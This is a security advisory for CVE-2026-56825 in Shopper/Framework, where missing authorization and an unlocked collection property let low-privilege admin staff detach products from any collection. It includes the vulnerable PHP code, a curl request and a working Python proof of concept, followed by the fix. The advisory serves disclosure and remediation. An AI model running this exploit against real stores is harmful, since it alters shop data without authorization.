PT-2026-90541 · Packagist · Shopper/Framework

CVE-2026-56825

·

Published

2026-09-11

·

Updated

2026-09-11

CVSS v3.1

8.1

High

VectorAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Title

Missing authorization on product removal actions in CollectionProducts component

Description

A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside packages/admin/src/Livewire/Components/Collection/CollectionProducts.php. Neither the Action::make('delete') at line 73 nor the DeleteBulkAction::make() at line 91 carries an ->authorize(...) chain. The component also exposes public Collection $collection without #[Locked], so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only browse collections, can detach individual products or bulk-detach all products from any collection in the database.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High)

Affected files

  • packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105
php
// Line 40 - client-mutable, no #[Locked]
public Collection $collection;

// Lines 73-88 - per-record delete action, no ->authorize(...)
->recordActions([
  Action::make('delete')
    ->label( ('shopper::forms.actions.delete'))
    ->icon(Untitledui::Trash03)
    ->iconButton()
    ->color('danger')
    ->requiresConfirmation()
    ->action(function (Product $record): void {
      $this->collection->products()->detach([$record->id]);
      $this->dispatch('collection.add.product');
      Notification::make()
        ->title( ('shopper::pages/collections.remove product'))
        ->success()
        ->send();
    }),
])

// Lines 91-105 - bulk remove action, no ->authorize(...)
->groupedBulkActions([
  DeleteBulkAction::make()
    ->label( ('shopper::forms.actions.delete'))
    ->icon(Untitledui::Trash03)
    ->requiresConfirmation()
    ->action(function (EloquentCollection $records): void {
      $this->collection->products()->detach($records->pluck('id')->toArray());
      $this->dispatch('collection.add.product');
      Notification::make()
        ->title( ('shopper::pages/collections.remove product'))
        ->success()
        ->send();
    })
    ->deselectRecordsAfterCompletion(),
])

Steps to reproduce

Prerequisites: any admin-panel account, including one whose role holds only browse collections (no edit collections required).
bash
SESSION="laravel session=<your session value>"
XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>"

# Step 1: Note the collection ID you wish to empty (e.g., collection id=5).
# Step 2: Call the bulk table action on the CollectionProducts component,
#     substituting collection ID 5 in the component state.

curl -s -X POST http://localhost/shopper/livewire/update 
 -H "Content-Type: application/json" 
 -H "X-XSRF-TOKEN: $XSRF" 
 -H "Cookie: $SESSION" 
 -H "X-Livewire: 1" 
 -d '{
  "components": [{
   "snapshot": "{"id":"COLLECTION PRODUCTS COMPONENT ID","data":{"collection":5},"checksum":"..."}",
   "updates": {},
   "calls": [{
    "path": "",
    "method": "callBulkAction",
    "params": ["delete", [1, 2, 3, 4, 5]]
   }]
  }]
 }'
# Expected: HTTP 200, all listed product IDs detached from collection 5,
#      regardless of the caller having only browse collections.

Proof of concept

python
#!/usr/bin/env python3
"""
CollectionProducts authorization bypass PoC.

Set these environment variables before running:
 BASE URL    e.g. http://localhost
 SESSION COOKIE value of the laravel session cookie
 XSRF TOKEN   URL-decoded value of the XSRF-TOKEN cookie
 COMPONENT ID  Livewire component snapshot ID (from page source)
 COLLECTION ID  integer ID of the target collection
 PRODUCT IDS   comma-separated product IDs to detach (e.g. "1,2,3")
"""

import json
import os
import requests

base url   = os.environ['BASE URL']
session    = os.environ['SESSION COOKIE']
xsrf     = os.environ['XSRF TOKEN']
component id = os.environ['COMPONENT ID']
collection id = int(os.environ['COLLECTION ID'])
product ids  = [int(x) for x in os.environ['PRODUCT IDS'].split(',')]

headers = {
  'Content-Type': 'application/json',
  'Accept': 'text/html, application/xhtml+xml',
  'X-XSRF-TOKEN': xsrf,
  'Cookie': f'laravel session={session}',
  'X-Livewire': '1',
}

snapshot = json.dumps({
  'id': component id,
  'data': {'collection': collection id},
  'checksum': 'UNLOCKED PROP NO CHECKSUM NEEDED',
})

payload = {
  'components': [{
    'snapshot': snapshot,
    'updates': {},
    'calls': [{
      'path': '',
      'method': 'callBulkAction',
      'params': ['delete', product ids],
    }]
  }]
}

r = requests.post(f'{base url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status code}')
print(r.text[:500])

Impact

A staff member holding only browse collections can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because $collection is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.

Suggested fix

php
// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php

use LivewireAttributesLocked;

#[Locked]             // prevent client-side ID substitution
public Collection $collection;

// Per-record action:
Action::make('delete')
  ->authorize('edit collections') // add this
  ->action(function (Product $record): void {
    $this->collection->products()->detach([$record->id]);
    // ...
  }),

// Bulk action:
DeleteBulkAction::make()
  ->authorize('edit collections') // add this
  ->action(function (EloquentCollection $records): void {
    $this->collection->products()->detach($records->pluck('id')->toArray());
    // ...
  })

Credits

Reported by Vishal Shukla (@shukla304 / @therawdev).

Fix

Missing Authorization

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

CVE-2026-56825
GHSA-2CG9-97GQ-9MQP

Affected Products

Shopper/Framework